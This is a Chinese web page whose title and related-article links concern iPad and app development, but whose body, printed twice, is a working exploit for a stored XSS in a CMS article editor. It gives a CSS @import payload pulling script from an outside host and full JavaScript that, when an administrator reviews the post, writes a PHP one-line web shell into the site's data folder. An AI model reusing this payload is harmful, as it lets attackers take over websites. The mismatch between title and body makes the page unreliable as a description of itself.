【Jeff Vogel:为什么我们不再针对iPad开发了】
2015-04-20 10:04
232 查看
作者:haris
漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
下面说说利用方法。
条件有3个:
1.开启注册
2.开启投稿
3.管理员很勤劳,会去审核文章,最鸡肋的地方了
注册会员—-发表文章
内容填写:
<style>@im\port’\http://xxx.com/xss.css’;</style>
新建XSS.CXX
新建xss.js
内容
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
下面说说利用方法。
条件有3个:
1.开启注册
2.开启投稿
3.管理员很勤劳,会去审核文章,最鸡肋的地方了
注册会员—-发表文章
内容填写:
<style>@im\port’\http://xxx.com/xss.css’;</style>
新建XSS.CXX
body{ background-image:url('javascript:document.write("")') }
新建xss.js
内容
var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); if(request.overrideMimeType) { request.overrideMimeType('text/xml'); } } else if(window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i try { request = new ActiveXObject(versions[i]); } catch(e) {} } } xmlhttp=request; function getFolder( url ){ obj = url.split('/') return obj[obj.length-2] } oUrl = top.location.href; u = getFolder(oUrl); add_admin(); function add_admin(){ var url= "/"+u+"/sys_sql_query.php"; var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=%3C%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F%3E&B1=++%E4%BF%9D+%E5%AD%98++"; xmlhttp.open("POST", url, true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("Content-length", params.length); xmlhttp.setRequestHeader("Connection", "Keep-Alive"); xmlhttp.send(params); }
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
相关文章推荐
- John Carmack:我们为什么不开发Linux游戏
- 我们搞开发的为什么会感觉到累
- 也谈为什么我们不重视Office开发--看孟岩说有感
- 为什么我们需要可测试的面向对象开发(翻译 )
- 清晰的屏显是ipad 开发带给我们的特色
- 我们为什么要用Ionic开发webApp
- 为什么javaweb开发我们会使用Struts2、springMVC和spring这样的框架?
- 为什么我们不重视Office开发——与郭安定谈话想到的
- Xcode中为什么不再为我们自动生成pch文件
- Adobe宣布不再针对iPhone开发Flash工具
- 为什么java web开发我们会使用struts2,springMVC和spring这样的框架?
- 你为什么要马上开发iPad应用?
- 也谈为什么我们不重视Office开发--看孟岩说有感
- 也谈为什么我们不重视Office开发--看孟岩说有感
- 我们搞开发的为什么会感觉到累
- 疯狂iOS 讲义(上) Objective-C 2.0与iPhone/iPad应用开发基础(国内首部iOS 7相关著作,小伙伴们,学好iPhone/iPad应用开发,我们一起做土豪吧)
- (ZT)为什么iPad版FaceBook值得我们苦苦等待
- John Carmack:我们为什么不开发Linux游戏
- 针对《关于郝培强的《为什么我们招聘的时候绝不要传智播客的学生?》》的看法
- 为什么我们SEO人不再称自己为SEO